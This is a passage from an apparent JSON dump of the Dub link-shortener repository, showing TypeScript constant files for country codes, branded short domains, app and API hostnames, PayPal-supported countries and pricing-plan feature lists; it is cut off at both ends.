64,\n  NI: 505,\n  NE: 227,\n  NG: 234,\n  NU: 683,\n  NF: 672,\n  MK: 389,\n  MP: 1,\n  NO: 47,\n  OM: 968,\n  PK: 92,\n  PW: 680,\n  PS: 970,\n  PA: 507,\n  PG: 675,\n  PY: 595,\n  PE: 51,\n  PH: 63,\n  PN: 64,\n  PL: 48,\n  PT: 351,\n  PR: 1,\n  QA: 974,\n  RE: 262,\n  RO: 40,\n  RU: 7,\n  RW: 250,\n  SH: 290,\n  KN: 1,\n  LC: 1,\n  PM: 508,\n  VC: 1,\n  WS: 685,\n  SM: 378,\n  ST: 239,\n  SA: 966,\n  SN: 221,\n  SC: 248,\n  SL: 232,\n  SG: 65,\n  SK: 421,\n  SI: 386,\n  SB: 677,\n  SO: 252,\n  ZA: 27,\n  ES: 34,\n  LK: 94,\n  SD: 249,\n  SR: 597,\n  SZ: 268,\n  SE: 46,\n  CH: 41,\n  SY: 963,\n  TW: 886,\n  TJ: 992,\n  TZ: 255,\n  TH: 66,\n  TL: 670,\n  TG: 228,\n  TK: 690,\n  TO: 676,\n  TT: 1,\n  TN: 216,\n  TR: 90,\n  TM: 993,\n  TC: 1,\n  TV: 688,\n  UG: 256,\n  UA: 380,\n  AE: 971,\n  GB: 44,\n  US: 1,\n  UY: 598,\n  UZ: 998,\n  VU: 678,\n  VE: 58,\n  VN: 84,\n  VG: 1,\n  VI: 1,\n  WF: 681,\n  EH: 212,\n  YE: 967,\n  ZM: 260,\n  ZW: 263,\n  AX: 358,\n  BQ: 599,\n  CW: 599,\n  GG: 44,\n  IM: 44,\n  JE: 44,\n  ME: 382,\n  BL: 590,\n  MF: 590,\n  RS: 381,\n  SX: 1,\n  SS: 211,\n  XK: 383,\n  // BV: null,\n  // TF: null,\n  // HM: null,\n  // GS: null,\n  // SJ: null,\n  // UM: null,\n};\n"
  },
  {
    "path": "packages/utils/src/constants/domains.ts",
    "content": "export const SECOND_LEVEL_DOMAINS = new Set([\n  \"com\",\n  \"co\",\n  \"net\",\n  \"org\",\n  \"edu\",\n  \"gov\",\n  \"in\",\n]);\n\nexport const SPECIAL_APEX_DOMAINS = new Set([\n  \"my.id\",\n  \"github.io\",\n  \"vercel.app\",\n  \"now.sh\",\n  \"pages.dev\",\n  \"webflow.io\",\n  \"netlify.app\",\n  \"fly.dev\",\n  \"web.app\",\n]);\n"
  },
  {
    "path": "packages/utils/src/constants/dub-domains.ts",
    "content": "import { DUB_WORKSPACE_ID, SHORT_DOMAIN } from \"./main\";\n\nexport const DUB_DOMAINS = [\n  {\n    id: \"clce1z7ch00j0rbstbjufva4j\",\n    slug: SHORT_DOMAIN,\n    verified: true,\n    primary: true,\n    archived: false,\n    placeholder: \"https://dub.co/help/article/dub-links\",\n    allowedHostnames: [],\n    description: \"The default domain for all new accounts.\",\n    projectId: DUB_WORKSPACE_ID,\n  },\n  ...(process.env.NEXT_PUBLIC_IS_DUB\n    ? [\n        {\n          id: \"clxp3lfsb00011na8tfs7t0lx\",\n          slug: \"dub.link\",\n          verified: true,\n          primary: true,\n          archived: false,\n          placeholder: \"https://dub.co/help/article/dub-links\",\n          allowedHostnames: [],\n          description:\n            \"Premium short domain on Dub – only available on our Pro plan and above.\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"clce1z7cs00y8rbstk4xtnj0k\",\n          slug: \"chatg.pt\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder: \"https://chat.openai.com/g/g-UGjKKONEe-domainsgpt\",\n          allowedHostnames: [\"openai.com\", \"chatgpt.com\"],\n          description:\n            \"Branded domain for ChatGPT links (convos, custom GPTs).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"cloxw8y2u0003js08a7mqg1j8\",\n          slug: \"spti.fi\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder: \"https://open.spotify.com/album/1SCyi9a5pOasikidToUY5y\",\n          allowedHostnames: [\"spotify.com\"],\n          description:\n            \"Branded domain for Spotify links (songs, playlists, etc.).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"cltgtd6s5000341itdszz20u2\",\n          slug: \"git.new\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder: \"https://github.com/dubinc/dub\",\n          allowedHostnames: [\"github.com\"],\n          description:\n            \"Branded domain for GitHub links (repositories, gists, etc.).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"cm23qevp4000412mqwvtkthzw\",\n          slug: \"cal.link\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder: \"https://cal.com/steven\",\n          allowedHostnames: [\n            \"app.acuityscheduling.com\",\n            \"cal.com\",\n            \"calendly.com\",\n            \"calendar.app.google\",\n            \"calendar.google.com\",\n            \"calendar.notion.so\",\n            \"chilipiper.com\",\n            \"fantastical.app\",\n            \"fillout.com\",\n            \"hubspot.com\",\n            \"mentordeck.com\",\n            \"savvycal.com\",\n            \"scheduler.default.com\",\n            \"tidycal.com\",\n            \"you.ashbyhq.com\",\n            \"zcal.co\",\n          ],\n          description:\n            \"Branded domain for your scheduling links (Cal.com, Calendly, etc.).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"cloxw8qtk000bjt08n9b812vs\",\n          slug: \"amzn.id\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder: \"https://www.amazon.com/dp/B0BW4SWNC8\",\n          allowedHostnames: [\n            \"amazon.com\",\n            \"amazon.co.uk\",\n            \"amazon.ca\",\n            \"amazon.es\",\n            \"amazon.fr\",\n          ],\n          description:\n            \"Branded domain for Amazon links (products, wishlists, etc.).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"clymd6zkc0001elilr1215tj9\",\n          slug: \"ggl.link\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder:\n            \"https://docs.google.com/document/d/15-GOZA12SXGEh8lNwU5QI1jBi04TCPgY2-LChTbXVpA\",\n          allowedHostnames: [\n            \"google.com\",\n            \"google.co.uk\",\n            \"google.co.id\",\n            \"google.ca\",\n            \"google.es\",\n            \"google.fr\",\n            \"googleblog.com\",\n            \"blog.google\",\n            \"g.co\",\n            \"g.page\",\n            \"youtube.com\",\n            \"youtu.be\",\n          ],\n          description:\n            \"Branded domain for Google links (Search, Docs, Sheets, Slides, Drive, Maps, etc.).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n        {\n          id: \"clymczttm0001jgkore3ltr37\",\n          slug: \"fig.page\",\n          verified: true,\n          primary: false,\n          archived: false,\n          placeholder:\n            \"https://www.figma.com/design/YAfTk6SGV2HcSvL2415oED/Dub.co-Brand-Assets-(Public)?node-id=1-36593&t=QMKQNtUzxSSzG3hX-1\",\n          allowedHostnames: [\"figma.com\"],\n          description:\n            \"Branded domain for Figma links (portfolios, prototypes, presentations, etc.).\",\n          projectId: DUB_WORKSPACE_ID,\n        },\n      ]\n    : []),\n];\n\nexport const DUB_DOMAINS_ARRAY = DUB_DOMAINS.map((domain) => domain.slug);\n\nexport const DUB_DEMO_LINKS = [\n  {\n    id: \"clqo10sum0006js08vutzfxt3\",\n    domain: \"d.to\",\n    key: \"try\",\n    dashboardId: \"dash_Rqy6tVEO5Ib4iVFvmYYTK4kO\",\n  },\n  {\n    id: \"cltshzzpd0005126z3rd2lvo4\",\n    domain: \"dub.sh\",\n    key: \"try\",\n    dashboardId: \"dash_bUNOfMQVcKS0VMDa2HaYhOjg\",\n  },\n  {\n    id: \"clot0z5rg000djp08ue98hxkn\",\n    domain: \"chatg.pt\",\n    key: \"domains\",\n    dashboardId: \"dash_lX4or5Yj6ZrPk3qW4SwgrQ5t\",\n  },\n  {\n    id: \"clp4jh9av0001l308ormavtlu\",\n    domain: \"spti.fi\",\n    key: \"hans\",\n    dashboardId: \"dash_v2Ygwn3hZNYx6kFYfBT4IApM\",\n  },\n  {\n    id: \"cltgtsex40003ck8z444hum5u\",\n    domain: \"git.new\",\n    key: \"dub\",\n    dashboardId: \"dash_FX5HKOKhtQ6uoIeSDxWM8eIb\",\n  },\n  {\n    id: \"clymd5vqj0005jgkorsopklsk\",\n    domain: \"fig.page\",\n    key: \"dub\",\n    dashboardId: \"dash_no9BFlfSjHDG6K7XIAuwLt5p\",\n  },\n  {\n    id: \"clp3k3yoi0001ju0874nz899q\",\n    domain: \"amzn.id\",\n    key: \"tv\",\n    dashboardId: \"dash_fKwai9V9nsLcC0IaY0rTF1yA\",\n  },\n  {\n    id: \"clymd73o50001ulmzzxjumr8l\",\n    domain: \"ggl.link\",\n    key: \"dub\",\n    dashboardId: \"dash_rx5c7pQPnx2MUCX3cL4t1Zpn\",\n  },\n  {\n    id: \"cm24785ki0001ainw2qks4uq5\",\n    domain: \"cal.link\",\n    key: \"demo\",\n    dashboardId: \"dash_zbzP2UVvTrv5SkIEPP2pV5pC\",\n  },\n];\n"
  },
  {
    "path": "packages/utils/src/constants/index.ts",
    "content": "export * from \"./cctlds\";\nexport * from \"./connect-supported-countries\";\nexport * from \"./continents\";\nexport * from \"./countries\";\nexport * from \"./country-currency-codes\";\nexport * from \"./country-phone-codes\";\nexport * from \"./domains\";\nexport * from \"./dub-domains\";\nexport * from \"./integrations\";\nexport * from \"./layout\";\nexport * from \"./localhost\";\nexport * from \"./main\";\nexport * from \"./middleware\";\nexport * from \"./misc\";\nexport * from \"./paypal-supported-countries\";\nexport * from \"./regions\";\nexport * from \"./reserved-slugs\";\nexport * from \"./saml\";\nexport * from \"./stablecoin-supported-countries\";\n\n// pricing copy & values\nexport * from \"./pricing/pricing-plan-compare-features\";\nexport * from \"./pricing/pricing-plan-main-features\";\nexport * from \"./pricing/pricing-plan-taglines\";\nexport * from \"./pricing/pricing-plans\";\n"
  },
  {
    "path": "packages/utils/src/constants/integrations.ts",
    "content": "export const SLACK_INTEGRATION_ID = \"clzu59rx9000110bm5fnlzwuj\";\nexport const STRIPE_INTEGRATION_ID = \"clzra1ya60001wnj4a89zcg9h\";\nexport const SEGMENT_INTEGRATION_ID = \"int_zGnSElTzimbz20OWnXerPoKv\";\nexport const ZAPIER_INTEGRATION_ID = \"clzlmz336000fjeqynwhfv8vo\";\nexport const SHOPIFY_INTEGRATION_ID = \"int_iWOtrZgmcyU6XDwKr4AYYqLN\";\nexport const HUBSPOT_INTEGRATION_ID = \"int_ffw3qgrFAahY6qs1hXaH3wHS\";\n"
  },
  {
    "path": "packages/utils/src/constants/layout.ts",
    "content": "export const ALL_TOOLS = [\n  { name: \"UTM Builder\", slug: \"utm-builder\" },\n  { name: \"QR Code API\", slug: \"qr-code\" },\n  { name: \"Spotify Link Shortener\", slug: \"spotify-link-shortener\" },\n  { name: \"ChatGPT Link Shortener\", slug: \"chatgpt-link-shortener\" },\n  { name: \"GitHub Link Shortener\", slug: \"github-link-shortener\" },\n  { name: \"Calendar Link Shortener\", slug: \"cal-link-shortener\" },\n  { name: \"Google Link Shortener\", slug: \"google-link-shortener\" },\n  { name: \"Amazon Link Shortener\", slug: \"amazon-link-shortener\" },\n  { name: \"Figma Link Shortener\", slug: \"figma-link-shortener\" },\n  { name: \"Link Inspector\", slug: \"inspector\" },\n];\n"
  },
  {
    "path": "packages/utils/src/constants/localhost.ts",
    "content": "export const LOCALHOST_GEO_DATA = {\n  continent: \"NA\",\n  country: \"US\",\n  city: \"San Francisco\",\n  region: \"CA\",\n  latitude: \"37.7695\",\n  longitude: \"-122.385\",\n};\nexport const LOCALHOST_IP = \"63.141.57.109\";\n"
  },
  {
    "path": "packages/utils/src/constants/main.ts",
    "content": "export const APP_NAME = process.env.NEXT_PUBLIC_APP_NAME || \"Dub\";\n\nexport const SHORT_DOMAIN =\n  process.env.NEXT_PUBLIC_APP_SHORT_DOMAIN || \"dub.sh\";\n\nexport const APP_HOSTNAMES = new Set([\n  `app.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  `preview.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  \"localhost:8888\",\n  \"localhost\",\n]);\n\nexport const APP_DOMAIN =\n  process.env.NEXT_PUBLIC_VERCEL_ENV === \"production\"\n    ? `https://app.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n    : process.env.NEXT_PUBLIC_VERCEL_ENV === \"preview\"\n      ? `https://preview.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n      : \"http://localhost:8888\";\n\nexport const APP_DOMAIN_WITH_NGROK =\n  process.env.NEXT_PUBLIC_VERCEL_ENV === \"production\"\n    ? `https://app.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n    : process.env.NEXT_PUBLIC_VERCEL_ENV === \"preview\"\n      ? `https://preview.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n      : process.env.NEXT_PUBLIC_NGROK_URL || \"http://localhost:8888\";\n\nexport const API_HOSTNAMES = new Set([\n  `api.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  `api-staging.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  `api.${SHORT_DOMAIN}`,\n  \"api.localhost:8888\",\n  \"api.localhost\",\n]);\n\nexport const API_DOMAIN =\n  process.env.NEXT_PUBLIC_VERCEL_ENV === \"production\"\n    ? `https://api.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n    : process.env.NEXT_PUBLIC_VERCEL_ENV === \"preview\"\n      ? `https://api-staging.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n      : \"http://api.localhost:8888\";\n\nexport const ADMIN_HOSTNAMES = new Set([\n  `admin.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  \"admin.localhost:8888\",\n  \"admin.localhost\",\n]);\n\nexport const PARTNERS_HOSTNAMES = new Set([\n  `partners.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  `partners-staging.${process.env.NEXT_PUBLIC_APP_DOMAIN}`,\n  \"partners.localhost:8888\",\n  \"partners.localhost\",\n]);\n\nexport const PARTNERS_DOMAIN =\n  process.env.NEXT_PUBLIC_VERCEL_ENV === \"production\"\n    ? `https://partners.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n    : process.env.NEXT_PUBLIC_VERCEL_ENV === \"preview\"\n      ? `https://partners-staging.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n      : \"http://partners.localhost:8888\";\n\nexport const PARTNERS_DOMAIN_WITH_NGROK =\n  process.env.NEXT_PUBLIC_VERCEL_ENV === \"production\"\n    ? `https://partners.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n    : process.env.NEXT_PUBLIC_VERCEL_ENV === \"preview\"\n      ? `https://partners-staging.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n      : process.env.NEXT_PUBLIC_NGROK_URL || \"http://partners.localhost:8888\";\n\nexport const DUB_LOGO = \"https://assets.dub.co/logo.png\";\nexport const DUB_LOGO_SQUARE = \"https://assets.dub.co/logo-square.png\";\nexport const DUB_QR_LOGO = \"https://assets.dub.co/logo.png\";\nexport const DUB_WORDMARK = \"https://assets.dub.co/wordmark.png\";\nexport const DUB_THUMBNAIL = \"https://assets.dub.co/thumbnail.jpg\";\n\nexport const DUB_WORKSPACE_ID = \"cl7pj5kq4006835rbjlt2ofka\";\nexport const ACME_WORKSPACE_ID = \"clrei1gld0002vs9mzn93p8ik\";\nexport const ACME_PROGRAM_ID = \"prog_CYCu7IMAapjkRpTnr8F1azjN\";\nexport const LEGAL_WORKSPACE_ID = \"clrflia0j0000vs7sqfhz9c7q\";\nexport const LEGAL_USER_ID = \"clqei1lgc0000vsnzi01pbf47\";\n\nexport const R2_URL = process.env.STORAGE_BASE_URL || \"https://dubassets.com\";\n"
  },
  {
    "path": "packages/utils/src/constants/middleware.ts",
    "content": "export const DEFAULT_REDIRECTS = {\n  home: \"https://dub.co\",\n  dub: \"https://dub.co\",\n  signin: \"https://app.dub.co/login\",\n  login: \"https://app.dub.co/login\",\n  register: \"https://app.dub.co/register\",\n  signup: \"https://app.dub.co/register\",\n  app: \"https://app.dub.co\",\n  dashboard: \"https://app.dub.co\",\n  links: \"https://app.dub.co/links\",\n  settings: \"https://app.dub.co/settings\",\n  welcome: \"https://app.dub.co/onboarding/welcome\",\n  discord: \"https://twitter.com/dubdotco\", // placeholder for now\n};\n\nexport const DUB_HEADERS = {\n  \"x-powered-by\": \"Dub - The Modern Link Attribution Platform\",\n};\n\nexport const REDIRECTION_QUERY_PARAM = \"redir_url\";\n"
  },
  {
    "path": "packages/utils/src/constants/misc.ts",
    "content": "export const DEFAULT_LINK_PROPS: any = {\n  key: \"\",\n  url: \"\",\n  domain: \"\",\n  archived: false,\n  tags: [], // note: removing this breaks the link builder\n  webhookIds: [], // note: removing this breaks the link builder\n\n  title: null,\n  description: null,\n  image: null,\n  video: null,\n  trackConversion: false,\n  proxy: false,\n  rewrite: false,\n  expiresAt: null,\n  password: null,\n  ios: null,\n  android: null,\n  doIndex: false,\n\n  clicks: 0,\n  userId: \"\",\n};\n\nexport const GOOGLE_FAVICON_URL =\n  \"https://www.google.com/s2/favicons?sz=64&domain_url=\";\n\nexport const OG_AVATAR_URL = \"https://api.dub.co/og/avatar/\";\n\nexport const DEFAULT_PAGINATION_LIMIT = 100;\n\nexport const TWO_WEEKS_IN_SECONDS = 60 * 60 * 24 * 14;\n\nexport const DUB_FOUNDING_DATE = new Date(\"2022-09-22T00:00:00.000Z\");\n\nexport const INFINITY_NUMBER = 1000000000;\n"
  },
  {
    "path": "packages/utils/src/constants/paypal-supported-countries.ts",
    "content": "import { CONNECT_SUPPORTED_COUNTRIES } from \"./connect-supported-countries\";\n\n// @see: https://developer.paypal.com/docs/payouts/standard/reference/country-feature\nconst PAYPAL_SUPPORTED_COUNTRIES_FULL = [\n  \"AD\", // Andorra\n  \"AR\", // Argentina\n  \"AU\", // Australia\n  \"AT\", // Austria\n  \"BS\", // Bahamas\n  \"BH\", // Bahrain\n  \"BE\", // Belgium\n  \"BM\", // Bermuda\n  \"BW\", // Botswana\n  \"BR\", // Brazil\n  \"BG\", // Bulgaria\n  \"CA\", // Canada\n  \"KY\", // Cayman Islands\n  \"CL\", // Chile\n  \"CN\", // China\n  \"CO\", // Colombia\n  \"CR\", // Costa Rica\n  \"HR\", // Croatia\n  \"CY\", // Cyprus\n  \"CZ\", // Czech Republic\n  \"DK\", // Denmark\n  \"DO\", // Dominican Republic\n  \"EC\", // Ecuador\n  \"SV\", // El Salvador\n  \"EE\", // Estonia\n  \"FO\", // Faroe Islands\n  \"FI\", // Finland\n  \"FR\", // France\n  \"GE\", // Georgia\n  \"DE\", // Germany\n  \"GI\", // Gibraltar\n  \"GR\", // Greece\n  \"GL\", // Greenland\n  \"GT\", // Guatemala\n  \"HN\", // Honduras\n  \"HK\", // Hong Kong SAR China\n  \"HU\", // Hungary\n  \"IS\", // Iceland\n  \"IN\", // India\n  \"ID\", // Indonesia\n  \"IE\", // Ireland\n  \"IL\", // Israel\n  \"IT\", // Italy\n  \"JM\", // Jamaica\n  \"JP\", // Japan\n  \"JO\", // Jordan\n  \"KZ\", // Kazakhstan\n  \"KE\", // Kenya\n  \"KW\", // Kuwait\n  \"LV\", // Latvia\n  \"LS\", // Lesotho\n  \"LI\", // Liechtenstein\n  \"LT\", // Lithuania\n  \"LU\", // Luxembourg\n  \"MY\", // Malaysia\n  \"MT\", // Malta\n  \"MU\", // Mauritius\n  \"MX\", // Mexico\n  \"MD\", // Moldova\n  \"MC\", // Monaco\n  \"MA\", // Morocco\n  \"MZ\", // Mozambique\n  \"NL\", // Netherlands\n  \"NZ\", // New Zealand\n  \"NI\", // Nicaragua\n  \"NO\", // Norway\n  \"OM\", // Oman\n  \"PA\", // Panama\n  \"PE\", // Peru\n  \"PH\", // Philippines\n  \"PL\", // Poland\n  \"PT\", // Portugal\n  \"QA\", // Qatar\n  \"RE\", // Réunion\n  \"RO\", // Romania\n  \"SM\", // San Marino\n  \"SA\", // Saudi Arabia\n  \"SN\", // Senegal\n  \"RS\", // Serbia\n  \"SG\", // Singapore\n  \"SK\", // Slovakia\n  \"SI\", // Slovenia\n  \"ZA\", // South Africa\n  \"ES\", // Spain\n  \"SE\", // Sweden\n  \"CH\", // Switzerland\n  \"TR\", // Turkey\n  \"AE\", // United Arab Emirates\n  \"GB\", // United Kingdom\n  \"US\", // United States\n  \"UY\", // Uruguay\n  \"VE\", // Venezuela\n  \"VN\", // Vietnam\n];\n\n// paypal supported countries that are not supported by Stripe\nexport const PAYPAL_SUPPORTED_COUNTRIES =\n  PAYPAL_SUPPORTED_COUNTRIES_FULL.filter(\n    (country) => !CONNECT_SUPPORTED_COUNTRIES.includes(country),\n  );\n"
  },
  {
    "path": "packages/utils/src/constants/pricing/pricing-plan-compare-features.tsx",
    "content": "import { ReactNode } from \"react\";\nimport { nFormatter } from \"../../functions/nformatter\";\nimport { INFINITY_NUMBER } from \"../misc\";\nimport { PLANS } from \"./pricing-plans\";\n\nexport const PRICING_PLAN_COMPARE_FEATURES: {\n  category: string;\n  href: string;\n  features: {\n    text:\n      | string\n      | ((d: { id: string; plan: (typeof PLANS)[number] }) => ReactNode);\n    href?: string;\n    check?:\n      | boolean\n      | {\n          default?: boolean;\n          free?: boolean;\n          pro?: boolean;\n          business?: boolean;\n          advanced?: boolean;\n          enterprise?: boolean;\n        };\n  }[];\n}[] = [\n  {\n    category: \"Links\",\n    href: \"https://dub.co/links\",\n    features: [\n      {\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.name === \"Enterprise\"\n                ? \"Unlimited\"\n                : nFormatter(plan.limits.links)}\n            </strong>{\" \"}\n            new links\n            {plan.name === \"Enterprise\" ? \"\" : \"/mo\"}\n          </>\n        ),\n      },\n      {\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.limits.tags === INFINITY_NUMBER\n                ? \"Unlimited\"\n                : nFormatter(plan.limits.tags)}\n            </strong>{\" \"}\n            tags\n          </>\n        ),\n        href: \"https://dub.co/help/article/how-to-use-tags\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.limits.folders === INFINITY_NUMBER\n                ? \"Unlimited\"\n                : nFormatter(plan.limits.folders)}\n            </strong>{\" \"}\n            folders\n          </>\n        ),\n      },\n      {\n        text: \"Custom QR codes\",\n        href: \"https://dub.co/help/article/custom-qr-codes\",\n      },\n      {\n        text: \"UTM builder + templates\",\n        href: \"https://dub.co/help/article/how-to-create-utm-templates\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Custom link previews\",\n        href: \"https://dub.co/help/article/custom-link-previews\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Deep links\",\n        href: \"https://dub.co/docs/concepts/deep-links/quickstart\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Link cloaking\",\n        href: \"https://dub.co/help/article/link-cloaking\",\n      },\n\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Link expiration\",\n        href: \"https://dub.co/help/article/link-expiration\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Password protection\",\n        href: \"https://dub.co/help/article/password-protected-links\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Device targeting\",\n        href: \"https://dub.co/help/article/device-targeting\",\n      },\n      {\n        check: {\n          free: false,\n          default: true,\n        },\n        text: \"Geo targeting\",\n        href: \"https://dub.co/help/article/geo-targeting\",\n      },\n      {\n        check: {\n          free: false,\n          pro: false,\n          default: true,\n        },\n        text: \"A/B testing\",\n      },\n    ],\n  },\n  {\n    category: \"Partners\",\n    href: \"https://dub.co/partners\",\n    features: [\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Unlimited partners\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Automated global payouts\",\n        href: \"https://dub.co/help/article/partner-payouts\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: ({ id, plan }) =>\n          id === \"free\" || id === \"pro\" ? (\n            \"No partner payouts\"\n          ) : (\n            <>\n              <strong>\n                {plan.name === \"Enterprise\"\n                  ? \"Unlimited\"\n                  : `$${nFormatter(plan.limits.payouts / 100)}`}\n              </strong>{\" \"}\n              partner payouts\n              {plan.name === \"Enterprise\" ? \"\" : \"/mo\"}\n            </>\n          ),\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: ({ id }) =>\n          id === \"free\" || id === \"pro\" ? (\n            \"No partner payouts\"\n          ) : (\n            <>\n              <strong>\n                {\n                  {\n                    business: \"5%\",\n                    advanced: \"5%\",\n                    enterprise: \"3%\",\n                  }[id]\n                }\n              </strong>{\" \"}\n              payout fees\n            </>\n          ),\n        href: \"https://dub.co/help/article/partner-payouts#payout-fees-and-timing\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Tax compliance\",\n        href: \"https://dub.co/help/article/partner-payouts#tax-compliance\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: ({ id, plan }) =>\n          id === \"free\" || id === \"pro\" ? (\n            \"No partner rewards\"\n          ) : (\n            <>\n              <strong>{plan.name === \"Business\" ? \"Basic\" : \"Advanced\"}</strong>{\" \"}\n              partner rewards\n            </>\n          ),\n        href: \"https://dub.co/help/article/partner-rewards\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Dual-sided incentives\",\n        href: \"https://dub.co/help/article/dual-sided-incentives\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"AI landing page generator\",\n        href: \"https://dub.co/help/article/program-landing-page\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.limits.groups === 0\n                ? \"No\"\n                : plan.limits.groups === INFINITY_NUMBER\n                  ? \"Unlimited\"\n                  : nFormatter(plan.limits.groups)}\n            </strong>{\" \"}\n            partner groups\n          </>\n        ),\n        href: \"https://dub.co/help/article/partner-groups\",\n      },\n      {\n        check: {\n          default: false,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Embedded referral dashboard\",\n        href: \"https://dub.co/docs/partners/embedded-referrals\",\n      },\n      {\n        check: {\n          default: false,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Partners API\",\n        href: \"https://dub.co/docs/api-reference/endpoint/create-a-partner\",\n      },\n      {\n        check: {\n          default: false,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Messaging center\",\n      },\n      {\n        check: {\n          default: false,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Email campaigns\",\n      },\n      {\n        check: {\n          default: false,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Fraud & risk prevention\",\n      },\n      {\n        check: {\n          default: false,\n          enterprise: true,\n        },\n        text: \"Partner network access\",\n      },\n    ],\n  },\n  {\n    category: \"Analytics\",\n    href: \"https://dub.co/analytics\",\n    features: [\n      {\n        text: \"Advanced analytics\",\n        href: \"https://dub.co/help/article/dub-analytics\",\n      },\n      {\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.name === \"Enterprise\"\n                ? \"Unlimited\"\n                : nFormatter(plan.limits.clicks)}\n            </strong>{\" \"}\n            tracked events\n            {plan.name === \"Enterprise\" ? \"\" : \"/mo\"}\n          </>\n        ),\n        href: \"https://dub.co/help/article/dub-analytics-limits\",\n      },\n      {\n        text: ({ plan }) => (\n          <>\n            <strong>{plan.limits.retention}</strong> retention\n          </>\n        ),\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Conversion tracking\",\n        href: \"https://dub.co/help/article/dub-conversions\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Customer insights\",\n        href: \"https://dub.co/help/article/customer-insights\",\n      },\n      {\n        check: {\n          default: false,\n          business: true,\n          advanced: true,\n          enterprise: true,\n        },\n        text: \"Real-time events stream\",\n        href: \"https://dub.co/help/article/real-time-events-stream\",\n      },\n    ],\n  },\n  {\n    category: \"Domains\",\n    href: \"https://dub.co/help/category/custom-domains\",\n    features: [\n      {\n        text: ({ plan }) => (\n          <>\n            <strong>\n              {plan.name === \"Enterprise\"\n                ? \"Unlimited\"\n                : nFormatter(plan.limits.domains, { full: true })}\n            </strong>{\" \"}\n            custom domains\n          </>\n        ),\n      },\n      {\n        text: () => <>SSL certificates</>,\n      },\n      {\n        check: {\n          default: true,\n          free: false,\n        },\n        text: () => (\n          <>\n            Premium <strong>dub.link</strong> domain\n          </>\n        ),\n        href: \"https://dub.co/help/article/default-dub-domains#premium-dublink-domain\",\n      },\n      {\n        check: {\n          default: true,\n          free: false,\n        },\n        text: () => (\n          <>\n            Free <strong>.link</strong> domain\n          </>\n        ),\n        href: \"https://dub.co/help/article/free-dot-link-domain\",\n      },\n    ],\n  },\n  {\n    category: \"API\",\n    href: \"https://dub.co/docs/api-reference/introduction\",\n    features: [\n      {\n        text: \"API Access\",\n        href: \"https://dub.co/docs/api-reference/introduction\",\n      },\n      {\n        text: \"Native SDKs\",\n        href: \"https://dub.co/docs/sdks/overview\",\n      },\n      {\n        text: ({ id, plan }) => (\n          <>\n            <strong>\n              {id === \"enterprise\"\n                ? \"Custom\"\n                : nFormatter(plan.limits.api, { full: true }) + \"/min\"}\n            </strong>{\" \"}\n    